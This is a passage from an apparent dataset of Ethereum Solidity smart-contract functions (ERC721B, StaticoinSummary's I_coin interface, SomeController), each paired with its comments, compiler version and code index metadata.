tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } //internal function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721B.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721B.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721B.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721B.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
_safeTransfer
function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); }
//internal
LineComment
v0.8.11+commit.d7f03943
{ "func_code_index": [ 3866, 4165 ] }
59,333
StaticoinSummary
StaticoinSummary.sol
0xd5085438af50e9d08011412351673ae00faae544
Solidity
I_coin
contract I_coin { event EventClear(); I_minter public mint; string public name; //fancy name: eg Simon Bucks uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = ''; //human 0.1 standard. Just an arbitrary versioning scheme. function mintCoin(address target, uint256 mintedAmount) returns (bool success) {} function meltCoin(address target, uint256 meltedAmount) returns (bool success) {} function approveAndCall(address _spender, uint256 _value, bytes _extraData){} function setMinter(address _minter) {} function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {} function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {} // @param _owner The address from which the balance will be retrieved // @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} // @notice send `_value` token to `_to` from `msg.sender` // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` // @param _from The address of the sender // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} // @notice `msg.sender` approves `_addr` to spend `_value` tokens // @param _spender The address of the account able to transfer the tokens // @param _value The amount of wei to be approved for transfer // @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // @param _owner The address of the account owning tokens // @param _spender The address of the account able to transfer the tokens // @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; // @return total amount of tokens uint256 public totalSupply; }
/** @title I_coin. */
NatSpecMultiLine
mintCoin
function mintCoin(address target, uint256 mintedAmount) returns (bool success) {}
//human 0.1 standard. Just an arbitrary versioning scheme.
LineComment
v0.4.19+commit.c4cbbb05
bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a
{ "func_code_index": [ 510, 596 ] }
59,334
StaticoinSummary
StaticoinSummary.sol
0xd5085438af50e9d08011412351673ae00faae544
Solidity
I_coin
contract I_coin { event EventClear(); I_minter public mint; string public name; //fancy name: eg Simon Bucks uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = ''; //human 0.1 standard. Just an arbitrary versioning scheme. function mintCoin(address target, uint256 mintedAmount) returns (bool success) {} function meltCoin(address target, uint256 meltedAmount) returns (bool success) {} function approveAndCall(address _spender, uint256 _value, bytes _extraData){} function setMinter(address _minter) {} function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {} function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {} // @param _owner The address from which the balance will be retrieved // @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} // @notice send `_value` token to `_to` from `msg.sender` // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` // @param _from The address of the sender // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} // @notice `msg.sender` approves `_addr` to spend `_value` tokens // @param _spender The address of the account able to transfer the tokens // @param _value The amount of wei to be approved for transfer // @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // @param _owner The address of the account owning tokens // @param _spender The address of the account able to transfer the tokens // @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; // @return total amount of tokens uint256 public totalSupply; }
/** @title I_coin. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) constant returns (uint256 balance) {}
// @param _owner The address from which the balance will be retrieved // @return The balance
LineComment
v0.4.19+commit.c4cbbb05
bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a
{ "func_code_index": [ 1120, 1201 ] }
59,335
StaticoinSummary
StaticoinSummary.sol
0xd5085438af50e9d08011412351673ae00faae544
Solidity
I_coin
contract I_coin { event EventClear(); I_minter public mint; string public name; //fancy name: eg Simon Bucks uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = ''; //human 0.1 standard. Just an arbitrary versioning scheme. function mintCoin(address target, uint256 mintedAmount) returns (bool success) {} function meltCoin(address target, uint256 meltedAmount) returns (bool success) {} function approveAndCall(address _spender, uint256 _value, bytes _extraData){} function setMinter(address _minter) {} function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {} function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {} // @param _owner The address from which the balance will be retrieved // @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} // @notice send `_value` token to `_to` from `msg.sender` // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` // @param _from The address of the sender // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} // @notice `msg.sender` approves `_addr` to spend `_value` tokens // @param _spender The address of the account able to transfer the tokens // @param _value The amount of wei to be approved for transfer // @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // @param _owner The address of the account owning tokens // @param _spender The address of the account able to transfer the tokens // @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; // @return total amount of tokens uint256 public totalSupply; }
/** @title I_coin. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) returns (bool success) {}
// @notice send `_value` token to `_to` from `msg.sender` // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not
LineComment
v0.4.19+commit.c4cbbb05
bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a
{ "func_code_index": [ 1436, 1513 ] }
59,336
StaticoinSummary
StaticoinSummary.sol
0xd5085438af50e9d08011412351673ae00faae544
Solidity
I_coin
contract I_coin { event EventClear(); I_minter public mint; string public name; //fancy name: eg Simon Bucks uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = ''; //human 0.1 standard. Just an arbitrary versioning scheme. function mintCoin(address target, uint256 mintedAmount) returns (bool success) {} function meltCoin(address target, uint256 meltedAmount) returns (bool success) {} function approveAndCall(address _spender, uint256 _value, bytes _extraData){} function setMinter(address _minter) {} function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {} function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {} // @param _owner The address from which the balance will be retrieved // @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} // @notice send `_value` token to `_to` from `msg.sender` // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` // @param _from The address of the sender // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} // @notice `msg.sender` approves `_addr` to spend `_value` tokens // @param _spender The address of the account able to transfer the tokens // @param _value The amount of wei to be approved for transfer // @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // @param _owner The address of the account owning tokens // @param _spender The address of the account able to transfer the tokens // @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; // @return total amount of tokens uint256 public totalSupply; }
/** @title I_coin. */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` // @param _from The address of the sender // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not
LineComment
v0.4.19+commit.c4cbbb05
bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a
{ "func_code_index": [ 1833, 1929 ] }
59,337
StaticoinSummary
StaticoinSummary.sol
0xd5085438af50e9d08011412351673ae00faae544
Solidity
I_coin
contract I_coin { event EventClear(); I_minter public mint; string public name; //fancy name: eg Simon Bucks uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = ''; //human 0.1 standard. Just an arbitrary versioning scheme. function mintCoin(address target, uint256 mintedAmount) returns (bool success) {} function meltCoin(address target, uint256 meltedAmount) returns (bool success) {} function approveAndCall(address _spender, uint256 _value, bytes _extraData){} function setMinter(address _minter) {} function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {} function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {} // @param _owner The address from which the balance will be retrieved // @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} // @notice send `_value` token to `_to` from `msg.sender` // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` // @param _from The address of the sender // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} // @notice `msg.sender` approves `_addr` to spend `_value` tokens // @param _spender The address of the account able to transfer the tokens // @param _value The amount of wei to be approved for transfer // @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // @param _owner The address of the account owning tokens // @param _spender The address of the account able to transfer the tokens // @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; // @return total amount of tokens uint256 public totalSupply; }
/** @title I_coin. */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) returns (bool success) {}
// @notice `msg.sender` approves `_addr` to spend `_value` tokens // @param _spender The address of the account able to transfer the tokens // @param _value The amount of wei to be approved for transfer // @return Whether the approval was successful or not
LineComment
v0.4.19+commit.c4cbbb05
bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a
{ "func_code_index": [ 2209, 2290 ] }
59,338
StaticoinSummary
StaticoinSummary.sol
0xd5085438af50e9d08011412351673ae00faae544
Solidity
I_coin
contract I_coin { event EventClear(); I_minter public mint; string public name; //fancy name: eg Simon Bucks uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = ''; //human 0.1 standard. Just an arbitrary versioning scheme. function mintCoin(address target, uint256 mintedAmount) returns (bool success) {} function meltCoin(address target, uint256 meltedAmount) returns (bool success) {} function approveAndCall(address _spender, uint256 _value, bytes _extraData){} function setMinter(address _minter) {} function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {} function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {} // @param _owner The address from which the balance will be retrieved // @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} // @notice send `_value` token to `_to` from `msg.sender` // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` // @param _from The address of the sender // @param _to The address of the recipient // @param _value The amount of token to be transferred // @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} // @notice `msg.sender` approves `_addr` to spend `_value` tokens // @param _spender The address of the account able to transfer the tokens // @param _value The amount of wei to be approved for transfer // @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // @param _owner The address of the account owning tokens // @param _spender The address of the account able to transfer the tokens // @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; // @return total amount of tokens uint256 public totalSupply; }
/** @title I_coin. */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
// @param _owner The address of the account owning tokens // @param _spender The address of the account able to transfer the tokens // @return Amount of remaining tokens allowed to spent
LineComment
v0.4.19+commit.c4cbbb05
bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a
{ "func_code_index": [ 2663, 2760 ] }
59,339
SomeController
SomeController.sol
0xe265cd62c7cb8f20f31789f7f12edb850caca294
Solidity
TokenI
contract TokenI is ERC20Token, Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals = 18; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP function approveAndCall( address _spender, uint256 _amount, bytes _extraData) public returns (bool success); function generateTokens(address _owner, uint _amount) public returns (bool); function destroyTokens(address _owner, uint _amount) public returns (bool); function enableTransfers(bool _transfersEnabled) public; }
approveAndCall
function approveAndCall( address _spender, uint256 _amount, bytes _extraData) public returns (bool success);
//An identifier: e.g. REP
LineComment
v0.4.24+commit.e67f0147
bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3
{ "func_code_index": [ 279, 392 ] }
59,340
SomeController
SomeController.sol
0xe265cd62c7cb8f20f31789f7f12edb850caca294
Solidity
SomeController
contract SomeController is Controlled { using SafeMath for uint256; bool public paused; //uint256 public startFundingTime; //uint256 public endFundingTime; uint256 public softCap; //软顶 uint256 public hardCap = 5000*10**18; //硬顶 uint256 public minFunding = 10*10**18; //最低起投额 //uint256 public maximumFunding; //最高投资额 uint256 public tokensPerEther1 = 128000; //比例 uint256 public tokensPerEther2 = 91500; //比例 uint256 public totalCollected; Token public tokenContract; bool public finalized = false; bool public allowChange = true; address private vaultAddress; bool private initialed = false; event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount); event Info256(string name, uint256 msg); event LastFund(uint256 funding, uint256 backValue); constructor(address tokenAddr) public { tokenContract = Token(tokenAddr); } function setLockStep(uint8[] steps, uint[] times) onlyController public { require(steps.length == times.length, "params length different"); for(uint i; i<steps.length; i++){ tokenContract.addLockStep(steps[i], times[i]); } } /** * @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint _amount) public view returns(bool){ if ( _from == vaultAddress) { return true; } _to; _amount; return false; } /** * @notice Notifies the controller about an approval, for this PreTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){ if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; } /// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the PreTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public { require(_owner.length == _value.length, "length of address is different with value"); require(_steps.length == _percents.length, "length of steps is different with percents"); address ownerNow; uint256 valueNow; for(uint i=0; i<_owner.length; i++){ ownerNow = _owner[i]; valueNow = _value[i]; require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error"); //按需冻结投资人资金 //freezeAccount(_owner, tokenValue1, tokenValue2); uint256[] memory valueArr = new uint256[](_steps.length); //内层循环必须初始化值,不然第二次执行时,不再初始化,导致值错误而不进入循环体 for(uint j=0; j<_steps.length; j++){ valueArr[j] = valueNow*_percents[j]/100; } tokenContract.freeze(ownerNow, valueArr, _steps); } } function changeTokenController(address _newController) onlyController public { tokenContract.changeController(_newController); } /** * 修改所控 Token 合约 */ function changeToken(address _newToken) onlyController public { tokenContract = Token(_newToken); } function changeVault(address _newVaultAddress) onlyController public { vaultAddress = _newVaultAddress; } /// @notice Pauses the contribution if there is any issue function pauseContribution() onlyController public { paused = true; } /// @notice Resumes the contribution function resumeContribution() onlyController public { paused = false; } modifier notPaused() { require(!paused); _; } // /** // * 修改Token兑换比率 // */ // function changeTokensPerEther(uint256 _newRate) onlyController public { // require(transfersEnabled==false); // require(_newRate>0); // tokensPerEther = _newRate; // transfersEnabled = true; // } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function claimTokens(address[] tokens) onlyController public { address _token; uint256 balance; for(uint256 i; i<tokens.length; i++){ _token = tokens[i]; if (_token == 0x0) { balance = address(this).balance; if(balance > 0){ msg.sender.transfer(balance); } }else{ ERC20Token token = ERC20Token(_token); balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); emit ClaimedTokens(_token, msg.sender, balance); } } } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
onTransfer
function onTransfer(address _from, address _to, uint _amount) public view returns(bool){ if ( _from == vaultAddress) { return true; } _to; _amount; return false; }
/** * @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3
{ "func_code_index": [ 1649, 1880 ] }
59,341
SomeController
SomeController.sol
0xe265cd62c7cb8f20f31789f7f12edb850caca294
Solidity
SomeController
contract SomeController is Controlled { using SafeMath for uint256; bool public paused; //uint256 public startFundingTime; //uint256 public endFundingTime; uint256 public softCap; //软顶 uint256 public hardCap = 5000*10**18; //硬顶 uint256 public minFunding = 10*10**18; //最低起投额 //uint256 public maximumFunding; //最高投资额 uint256 public tokensPerEther1 = 128000; //比例 uint256 public tokensPerEther2 = 91500; //比例 uint256 public totalCollected; Token public tokenContract; bool public finalized = false; bool public allowChange = true; address private vaultAddress; bool private initialed = false; event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount); event Info256(string name, uint256 msg); event LastFund(uint256 funding, uint256 backValue); constructor(address tokenAddr) public { tokenContract = Token(tokenAddr); } function setLockStep(uint8[] steps, uint[] times) onlyController public { require(steps.length == times.length, "params length different"); for(uint i; i<steps.length; i++){ tokenContract.addLockStep(steps[i], times[i]); } } /** * @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint _amount) public view returns(bool){ if ( _from == vaultAddress) { return true; } _to; _amount; return false; } /** * @notice Notifies the controller about an approval, for this PreTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){ if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; } /// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the PreTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public { require(_owner.length == _value.length, "length of address is different with value"); require(_steps.length == _percents.length, "length of steps is different with percents"); address ownerNow; uint256 valueNow; for(uint i=0; i<_owner.length; i++){ ownerNow = _owner[i]; valueNow = _value[i]; require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error"); //按需冻结投资人资金 //freezeAccount(_owner, tokenValue1, tokenValue2); uint256[] memory valueArr = new uint256[](_steps.length); //内层循环必须初始化值,不然第二次执行时,不再初始化,导致值错误而不进入循环体 for(uint j=0; j<_steps.length; j++){ valueArr[j] = valueNow*_percents[j]/100; } tokenContract.freeze(ownerNow, valueArr, _steps); } } function changeTokenController(address _newController) onlyController public { tokenContract.changeController(_newController); } /** * 修改所控 Token 合约 */ function changeToken(address _newToken) onlyController public { tokenContract = Token(_newToken); } function changeVault(address _newVaultAddress) onlyController public { vaultAddress = _newVaultAddress; } /// @notice Pauses the contribution if there is any issue function pauseContribution() onlyController public { paused = true; } /// @notice Resumes the contribution function resumeContribution() onlyController public { paused = false; } modifier notPaused() { require(!paused); _; } // /** // * 修改Token兑换比率 // */ // function changeTokensPerEther(uint256 _newRate) onlyController public { // require(transfersEnabled==false); // require(_newRate>0); // tokensPerEther = _newRate; // transfersEnabled = true; // } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function claimTokens(address[] tokens) onlyController public { address _token; uint256 balance; for(uint256 i; i<tokens.length; i++){ _token = tokens[i]; if (_token == 0x0) { balance = address(this).balance; if(balance > 0){ msg.sender.transfer(balance); } }else{ ERC20Token token = ERC20Token(_token); balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); emit ClaimedTokens(_token, msg.sender, balance); } } } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
onApprove
function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){ if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; }
/** * @notice Notifies the controller about an approval, for this PreTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3
{ "func_code_index": [ 2312, 2555 ] }
59,342
SomeController
SomeController.sol
0xe265cd62c7cb8f20f31789f7f12edb850caca294
Solidity
SomeController
contract SomeController is Controlled { using SafeMath for uint256; bool public paused; //uint256 public startFundingTime; //uint256 public endFundingTime; uint256 public softCap; //软顶 uint256 public hardCap = 5000*10**18; //硬顶 uint256 public minFunding = 10*10**18; //最低起投额 //uint256 public maximumFunding; //最高投资额 uint256 public tokensPerEther1 = 128000; //比例 uint256 public tokensPerEther2 = 91500; //比例 uint256 public totalCollected; Token public tokenContract; bool public finalized = false; bool public allowChange = true; address private vaultAddress; bool private initialed = false; event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount); event Info256(string name, uint256 msg); event LastFund(uint256 funding, uint256 backValue); constructor(address tokenAddr) public { tokenContract = Token(tokenAddr); } function setLockStep(uint8[] steps, uint[] times) onlyController public { require(steps.length == times.length, "params length different"); for(uint i; i<steps.length; i++){ tokenContract.addLockStep(steps[i], times[i]); } } /** * @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint _amount) public view returns(bool){ if ( _from == vaultAddress) { return true; } _to; _amount; return false; } /** * @notice Notifies the controller about an approval, for this PreTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){ if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; } /// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the PreTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public { require(_owner.length == _value.length, "length of address is different with value"); require(_steps.length == _percents.length, "length of steps is different with percents"); address ownerNow; uint256 valueNow; for(uint i=0; i<_owner.length; i++){ ownerNow = _owner[i]; valueNow = _value[i]; require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error"); //按需冻结投资人资金 //freezeAccount(_owner, tokenValue1, tokenValue2); uint256[] memory valueArr = new uint256[](_steps.length); //内层循环必须初始化值,不然第二次执行时,不再初始化,导致值错误而不进入循环体 for(uint j=0; j<_steps.length; j++){ valueArr[j] = valueNow*_percents[j]/100; } tokenContract.freeze(ownerNow, valueArr, _steps); } } function changeTokenController(address _newController) onlyController public { tokenContract.changeController(_newController); } /** * 修改所控 Token 合约 */ function changeToken(address _newToken) onlyController public { tokenContract = Token(_newToken); } function changeVault(address _newVaultAddress) onlyController public { vaultAddress = _newVaultAddress; } /// @notice Pauses the contribution if there is any issue function pauseContribution() onlyController public { paused = true; } /// @notice Resumes the contribution function resumeContribution() onlyController public { paused = false; } modifier notPaused() { require(!paused); _; } // /** // * 修改Token兑换比率 // */ // function changeTokensPerEther(uint256 _newRate) onlyController public { // require(transfersEnabled==false); // require(_newRate>0); // tokensPerEther = _newRate; // transfersEnabled = true; // } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; 